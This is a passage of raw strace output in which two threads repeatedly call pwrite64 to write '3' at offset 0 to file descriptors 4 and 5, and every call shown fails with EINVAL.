[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
